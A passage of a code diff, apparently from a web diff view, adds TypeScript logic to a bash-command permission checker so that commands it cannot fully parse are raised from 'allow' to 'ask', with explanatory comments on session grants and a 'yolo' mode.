*/
|
|
105
|
+
function resolveCommandUnit(
|
|
106
|
+
cmd: BashCommand,
|
|
107
|
+
command: string,
|
|
108
|
+
agentName: string | undefined,
|
|
109
|
+
resolver: ScopedPermissionResolver,
|
|
110
|
+
): PermissionCheckResult {
|
|
111
|
+
const base = resolveOnBashSurface(cmd.text, agentName, resolver);
|
|
112
|
+
const floored =
|
|
113
|
+
cmd.wrapperKind && base.state === "allow"
|
|
114
|
+
? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
|
|
115
|
+
: base;
|
|
116
|
+
const unparsed = floorUnparsedUnit(cmd, command, floored);
|
|
117
|
+
const contextual = cmd.context
|
|
118
|
+
? { ...unparsed, commandContext: cmd.context }
|
|
119
|
+
: unparsed;
|
|
120
|
+
return cmd.executedUnit === undefined
|
|
121
|
+
? contextual
|
|
122
|
+
: { ...contextual, executedUnit: cmd.executedUnit };
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
/**
|
|
126
|
+
* Floor a unit the parse could not resolve, so a subtree the fold did not
|
|
127
|
+
* understand cannot ride a permissive rule (ADR 0013 §10, #840).
|
|
128
|
+
*
|
|
129
|
+
* Three properties carry the safety argument.
|
|
130
|
+
*
|
|
131
|
+
* The result names the **whole** command, not the unit: the reason for the ask
|
|
132
|
+
* is that part of the command was not understood, and a partial parse can drop
|
|
133
|
+
* a command from enumeration entirely, so naming the fragment that did parse
|
|
134
|
+
* withholds exactly what the user needs to judge it. `command` is also the
|
|
135
|
+
* session-approval pattern, and a fragment there would grant more than the
|
|
136
|
+
* prompt showed.
|
|
137
|
+
*
|
|
138
|
+
* Only an `allow` is floored, so an explicit `deny` or `ask` on the unit
|
|
139
|
+
* decides instead — and a wrapper unit already floored to `ask` keeps its own,
|
|
140
|
+
* more specific sentinel.
|
|
141
|
+
*
|
|
142
|
+
* The result is built by spreading `resolved`, so a `source: "session"` grant
|
|
143
|
+
* survives to `GateRunner`'s session fast path, which tests the source before
|
|
144
|
+
* the state. A grant the user gave for this exact command still holds.
|
|
145
|
+
*/
|
|
146
|
+
function floorUnparsedUnit(
|
|
147
|
+
cmd: BashCommand,
|
|
148
|
+
command: string,
|
|
149
|
+
resolved: PermissionCheckResult,
|
|
150
|
+
): PermissionCheckResult {
|
|
151
|
+
if (!cmd.parseUnresolved || resolved.state !== "allow") return resolved;
|
|
152
|
+
return {
|
|
153
|
+
...resolved,
|
|
154
|
+
state: "ask",
|
|
155
|
+
command,
|
|
156
|
+
matchedPattern: UNPARSED_SUBTREE_SENTINEL,
|
|
157
|
+
};
|
|
158
|
+
}
|
|
159
|
+
|
|
98
160
|
/**
|
|
99
161
|
* Resolve a wrapper unit whose own text resolved to `allow`.
|
|
100
162
|
*
|
|
@@ -159,10 +159,11 @@ export function buildDecisionEvent(
|
|
|
159
159
|
* yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
|
|
160
160
|
* rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
|
|
161
161
|
* first arm recognizes that grant. The second arm covers an `ask` synthesized
|
|
162
|
-
* *after* resolution — the bash wrapper floor (#481, #490) and the
|
|
163
|
-
* `<unparseable-bash-command>`
|
|
164
|
-
*
|
|
165
|
-
* a
|
|
162
|
+
* *after* resolution — the bash wrapper floor (#481, #490) and the two
|
|
163
|
+
* fail-closed parse sentinels, `<unparseable-bash-command>` (#452) and
|
|
164
|
+
* `<unparsed-bash-subtree>` (#840) — which the ruleset rewrite cannot reach
|
|
165
|
+
* because the floor is a property of a parsed command unit, not of a pattern
|
|
166
|
+
* (#712). The synthetic `matchedPattern` is preserved so the review
|
|
166
167
|
* log still shows why the ask was raised, while `origin: "yolo"` records why it
|
|
167
168
|
* was granted.
|
|
168
169
|
*
|